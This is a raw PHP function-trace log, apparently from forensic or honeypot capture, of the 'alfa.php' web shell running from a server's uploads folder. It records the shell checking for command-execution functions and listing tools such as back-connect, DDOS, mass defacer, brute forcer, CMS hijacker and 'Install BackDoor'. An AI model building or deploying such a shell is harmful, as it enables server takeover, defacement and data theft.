7	506	R			[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	862	$s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
7	507	0	0.095297	3532552	array_unique	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	863	1	[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
7	507	1	0.095329	3533920
7	507	R			[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	863	$s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	864	$i = 0
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	865	$b = 0
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	866	$func = [0 => 'system', 1 => 'exec', 2 => 'shell_exec', 3 => 'proc_open', 4 => 'popen', 5 => 'passthru', 6 => 'symlink', 7 => 'dl']
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	867	$black_list = []
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	868	$allow_list = []
7	508	0	0.095463	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_alarm'
7	508	1	0.095478	3532584
7	508	R			'pcntl_alarm'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_alarm'
7	509	0	0.095506	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_alarm'
7	509	1	0.095521	3532584
7	509	R			FALSE
7	510	0	0.095534	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_fork'
7	510	1	0.095549	3532584
7	510	R			'pcntl_fork'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_fork'
7	511	0	0.095576	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_fork'
7	511	1	0.095591	3532584
7	511	R			FALSE
7	512	0	0.095604	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_waitpid'
7	512	1	0.095617	3532584
7	512	R			'pcntl_waitpid'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_waitpid'
7	513	0	0.095644	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_waitpid'
7	513	1	0.095659	3532584
7	513	R			FALSE
7	514	0	0.095672	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_wait'
7	514	1	0.095685	3532584
7	514	R			'pcntl_wait'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_wait'
7	515	0	0.095711	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_wait'
7	515	1	0.095725	3532584
7	515	R			FALSE
7	516	0	0.095738	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_wifexited'
7	516	1	0.095752	3532584
7	516	R			'pcntl_wifexited'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_wifexited'
7	517	0	0.095779	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_wifexited'
7	517	1	0.095794	3532584
7	517	R			FALSE
7	518	0	0.095806	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_wifstopped'
7	518	1	0.095820	3532584
7	518	R			'pcntl_wifstopped'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_wifstopped'
7	519	0	0.095847	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_wifstopped'
7	519	1	0.095861	3532584
7	519	R			FALSE
7	520	0	0.095874	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_wifsignaled'
7	520	1	0.095888	3532584
7	520	R			'pcntl_wifsignaled'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_wifsignaled'
7	521	0	0.095915	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_wifsignaled'
7	521	1	0.095930	3532584
7	521	R			FALSE
7	522	0	0.095942	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_wifcontinued'
7	522	1	0.095959	3532584
7	522	R			'pcntl_wifcontinued'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_wifcontinued'
7	523	0	0.096024	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_wifcontinued'
7	523	1	0.096046	3532584
7	523	R			FALSE
7	524	0	0.096060	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_wexitstatus'
7	524	1	0.096074	3532584
7	524	R			'pcntl_wexitstatus'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_wexitstatus'
7	525	0	0.096101	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_wexitstatus'
7	525	1	0.096115	3532584
7	525	R			FALSE
7	526	0	0.096128	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_wtermsig'
7	526	1	0.096142	3532584
7	526	R			'pcntl_wtermsig'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_wtermsig'
7	527	0	0.096169	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_wtermsig'
7	527	1	0.096183	3532584
7	527	R			FALSE
7	528	0	0.096195	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_wstopsig'
7	528	1	0.096209	3532584
7	528	R			'pcntl_wstopsig'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_wstopsig'
7	529	0	0.096235	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_wstopsig'
7	529	1	0.096250	3532584
7	529	R			FALSE
7	530	0	0.096262	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_signal'
7	530	1	0.096276	3532584
7	530	R			'pcntl_signal'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_signal'
7	531	0	0.096302	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_signal'
7	531	1	0.096316	3532584
7	531	R			FALSE
7	532	0	0.096328	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_signal_get_handler'
7	532	1	0.096342	3532584
7	532	R			'pcntl_signal_get_handler'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_signal_get_handler'
7	533	0	0.096370	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_signal_get_handler'
7	533	1	0.096384	3532584
7	533	R			FALSE
7	534	0	0.096397	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_signal_dispatch'
7	534	1	0.096411	3532584
7	534	R			'pcntl_signal_dispatch'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_signal_dispatch'
7	535	0	0.096438	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_signal_dispatch'
7	535	1	0.096452	3532584
7	535	R			FALSE
7	536	0	0.096465	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_get_last_error'
7	536	1	0.096478	3532584
7	536	R			'pcntl_get_last_error'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_get_last_error'
7	537	0	0.096504	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_get_last_error'
7	537	1	0.096519	3532584
7	537	R			FALSE
7	538	0	0.096531	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_strerror'
7	538	1	0.096544	3532584
7	538	R			'pcntl_strerror'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_strerror'
7	539	0	0.096570	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_strerror'
7	539	1	0.096585	3532584
7	539	R			FALSE
7	540	0	0.096597	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_sigprocmask'
7	540	1	0.096614	3532584
7	540	R			'pcntl_sigprocmask'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_sigprocmask'
7	541	0	0.096641	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_sigprocmask'
7	541	1	0.096656	3532584
7	541	R			FALSE
7	542	0	0.096668	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_sigwaitinfo'
7	542	1	0.096682	3532584
7	542	R			'pcntl_sigwaitinfo'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_sigwaitinfo'
7	543	0	0.096708	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_sigwaitinfo'
7	543	1	0.096722	3532584
7	543	R			FALSE
7	544	0	0.096735	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_sigtimedwait'
7	544	1	0.096748	3532584
7	544	R			'pcntl_sigtimedwait'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_sigtimedwait'
7	545	0	0.096775	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_sigtimedwait'
7	545	1	0.096789	3532584
7	545	R			FALSE
7	546	0	0.096808	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_exec'
7	546	1	0.096821	3532584
7	546	R			'pcntl_exec'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_exec'
7	547	0	0.096847	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_exec'
7	547	1	0.096861	3532584
7	547	R			FALSE
7	548	0	0.096874	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_getpriority'
7	548	1	0.096888	3532584
7	548	R			'pcntl_getpriority'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_getpriority'
7	549	0	0.096914	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_getpriority'
7	549	1	0.096929	3532584
7	549	R			FALSE
7	550	0	0.096941	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_setpriority'
7	550	1	0.096955	3532584
7	550	R			'pcntl_setpriority'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_setpriority'
7	551	0	0.096981	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_setpriority'
7	551	1	0.096995	3532584
7	551	R			FALSE
7	552	0	0.097008	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	'pcntl_async_signals'
7	552	1	0.097022	3532584
7	552	R			'pcntl_async_signals'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = 'pcntl_async_signals'
7	553	0	0.097048	3532552	is_callable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	871	1	'pcntl_async_signals'
7	553	1	0.097062	3532584
7	553	R			FALSE
7	554	0	0.097075	3532552	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	1	''
7	554	1	0.097088	3532584
7	554	R			''
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	870	$d = ''
6	504	1	0.097113	3529704
6	504	R			'<span class="header_show_all">All Functions Accessible</span>'
6	555	0	0.097133	3531496	getenv	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1957	1	'SERVER_SOFTWARE'
6	555	1	0.097152	3531576
6	555	R			'Apache/2.4.52 (Ubuntu)'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1974	$li = ['FilesMan' => 'Home', 'proc' => 'Process', 'phpeval' => 'Eval', 'sql' => 'SQL Manager', 'dumper' => 'Mysql Dumper', 'hash' => 'En-Decoder', 'connect' => 'BC', 'ssh2' => 'SSH2', 'zoneh' => 'ZONE-H', 'dos' => 'DDOS', 'safe' => 'ByPasser', 'cgishell' => 'Cgi Shell', 'ssiShell' => 'SSI SHELL', 'cpcrack' => 'Hash Tools', 'portscanner' => 'Port Scaner', 'basedir' => 'Open BaseDir', 'mail' => 'Fake Mail', 'ziper' => 'Compressor', 'IndexChanger' => 'Index Changer', 'pwchanger' => 'Add New Admin', 'ShellInjectors' => 'Shell Injectors', 'php2xml' => 'PHP2XML', 'cloudflare' => 'CloudFlare', 'Whmcs' => 'Whmcs DeCoder', 'symlink' => 'Symlink', 'MassDefacer' => 'Mass Defacer', 'Crackers' => 'BruteForcer', 'searcher' => 'Searcher', 'cmshijacker' => 'CMS Hijacker', 'remotedl' => 'Remote Upload', 'inbackdoor' => 'Install BackDoor', 'whois' => 'Whois', 'settings' => 'Alfa Settings', 'plus' => '<span class="alfa_plus">Alfa +</font>', 'selfrm' => 'Remove Shell']
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'FilesMan'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'proc'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'phpeval'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'sql'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'dumper'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'hash'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'connect'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'ssh2'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'zoneh'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'dos'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'safe'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'cgishell'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'ssiShell'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'cpcrack'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'portscanner'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'basedir'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'mail'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'ziper'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'IndexChanger'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'pwchanger'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'ShellInjectors'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'php2xml'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'cloudflare'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'Whmcs'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'symlink'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'MassDefacer'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'Crackers'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'searcher'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'cmshijacker'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'remotedl'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'inbackdoor'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'whois'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'settings'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'plus'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1980	$key = 'selfrm'
5	95	1	0.097809	3526064
5	556	0	0.097819	3526064	AlfaNum	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3164	7	8	9	10	7	6	5	4
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	890	$args = [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	891	$alfax = []
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	892	$find = []
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	893	$i = 1
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	894	$alfax[] = 1
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	893	$i++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	894	$alfax[] = 2
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	893	$i++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	894	$alfax[] = 3
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	893	$i++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	894	$alfax[] = 4
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	893	$i++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	894	$alfax[] = 5
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	893	$i++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	894	$alfax[] = 6
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	893	$i++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	894	$alfax[] = 7
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	893	$i++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	894	$alfax[] = 8
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	893	$i++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	894	$alfax[] = 9
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	893	$i++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	894	$alfax[] = 10
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	893	$i++
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	897	$find[] = 8
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	897	$find[] = 9
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	897	$find[] = 10
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	897	$find[] = 7
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	897	$find[] = 6
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	897	$find[] = 5
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	897	$find[] = 4
6	557	0	0.098163	3527512	in_array	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	901	2	1	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6	557	1	0.098182	3527584
6	557	R			FALSE
6	558	0	0.098197	3527512	in_array	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	901	2	2	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6	558	1	0.098215	3527584
6	558	R			FALSE
6	559	0	0.098232	3527512	in_array	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	901	2	3	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6	559	1	0.098250	3527584
6	559	R			FALSE
6	560	0	0.098263	3527512	in_array	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	901	2	4	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6	560	1	0.098280	3527584
6	560	R			TRUE
6	561	0	0.098292	3527512	in_array	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	901	2	5	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6	561	1	0.098310	3527584
6	561	R			TRUE
6	562	0	0.098322	3527512	in_array	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	901	2	6	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6	562	1	0.098339	3527584
6	562	R			TRUE
6	563	0	0.098351	3527512	in_array	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	901	2	7	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6	563	1	0.098368	3527584
6	563	R			TRUE
6	564	0	0.098380	3527512	in_array	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	901	2	8	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6	564	1	0.098396	3527584
6	564	R			TRUE
6	565	0	0.098408	3527512	in_array	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	901	2	9	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6	565	1	0.098425	3527584
6	565	R			TRUE
6	566	0	0.098437	3527512	in_array	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	901	2	10	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6	566	1	0.098453	3527584
6	566	R			TRUE
5	556	1	0.098466	3526064
5	567	0	0.098476	3526064	scandir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3313	1	'/var/www/html/uploads/'
5	567	1	0.098511	3526688
5	567	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'alfa.php', 4 => 'data', 5 => 'prepend.php']
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3313	$dirContent = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'alfa.php', 4 => 'data', 5 => 'prepend.php']
5	568	0	0.098553	3526680	preg_match	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3314	3	'#(.*)\\/\\.\\.#'	NULL	NULL
5	568	1	0.098572	3526840
5	568	R			0
